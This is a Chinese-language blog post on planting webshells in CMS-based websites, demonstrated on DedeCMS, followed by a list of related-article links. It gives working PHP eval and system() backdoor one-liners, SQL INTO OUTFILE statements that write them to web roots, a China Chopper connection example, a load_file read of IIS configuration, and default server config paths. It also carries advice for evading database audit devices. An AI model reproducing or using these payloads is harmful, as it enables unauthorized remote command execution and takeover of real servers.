获取Webshell方法

CMS系统指的是内容管理系统。已经有别人开发好了整个网站的前后端,使用者只需要部署cms,然后通过后台添加数据,修改图片等工作,就能搭建好一个的WEB系统。

CMS获取Webshell****方法

WordPress后台拿Webshell

phpcms拿Webshell

非CMS获取Webshell方法

更多的时候企业并不使用开源的CMS,而是选择自己开发源代码

参考:获取WEBshell思路 · 白帽与安全 · 看云

获取方法

1、数据库备份获取Webshell

2、抓包上传获取Webshell

3、Sql命令获取Webshell

4、模板修改获取Webshell

5、插入一句话获取Webshell

6、修改上传类型获取Webshell

示例

织梦dedecms演示

文件管理器新建木马文件

也可以用上传文件上传免杀的一句话木马

文件内容一句话木马:<?php @eval($_POST['q.']);?>

菜刀连接网址http://192.168.246.11/dedecms/uploads/q.php就可以获得受害机文件

如果没有文件管理器可以在模块的地方安装一下,用完在卸载就可以

标签源码编辑

或者直接新建一个标签源码,输入木马。就可以直接访问

模版修改

修改,在代码里面插入木马。

注意这里后缀是.html

Sql命令获取Webshell

思路:利用sql语句插入语句然后输出到指定木马php

如果提示没有权限,需要配置下my.ini内容secure_file_priv='',这样就可以输出到指定文件

在执行语句就把木马放到指定文件了

因为上面的命令会创建表,如果有数据库审计设备会被发现,所以可以执行以下输入木马语句,避免对数据库操作

select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\WWW\\dedecms\\1.php';

echo命令也可以:

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'C:\\php\\WWW\\dedecms\\1.php'

读路径:

select load_file('c://windows//system32//inetsrv//MetaBase.xml ');

默认路径

Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件

Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

其他获取webshell方法

1、Tomcat获取Webshell

2、Weblogic获取Webshell

3、JBoss获取Webshell

相关推荐
raysync88816 分钟前
镭速大文件传输软件向金融银行的文档管理提供高效的解决方案
服务器·网络·金融
.Ayang31 分钟前
文件上传漏洞
网络·计算机网络·安全·web安全·网络安全·系统安全·网络攻击模型
Michael_Good1 小时前
【计算机网络】网卡NIC的工作内容包括哪些呢?
网络·计算机网络
华普微HOPERF1 小时前
Matter1.4重磅来袭,智能家居进入“互联”新纪元
网络·智能路由器·智能家居
LNTON羚通1 小时前
算法定制LiteAIServer摄像机实时接入分析平台玩手机打电话检测算法:智能监控的新篇章
安全·目标检测·音视频·监控·视频监控
weixin_442643421 小时前
FileLink跨网文件安全摆渡系统——企业数据流转的安全桥梁
大数据·网络·安全·filelink文件摆渡系统
HUODUNYUN3 小时前
小程序免备案
网络·web安全·小程序·1024程序员节
newxtc4 小时前
【魔珐有言-注册/登录安全分析报告-无验证方式导致安全隐患】
人工智能·安全·网易易盾·ai写作·极验
速盾cdn4 小时前
速盾:如何有效防止服务器遭受攻击?
网络·安全·web安全
华纳云IDC服务商4 小时前
怎么选择香港服务器的线路?解决方案
服务器·网络·香港服务器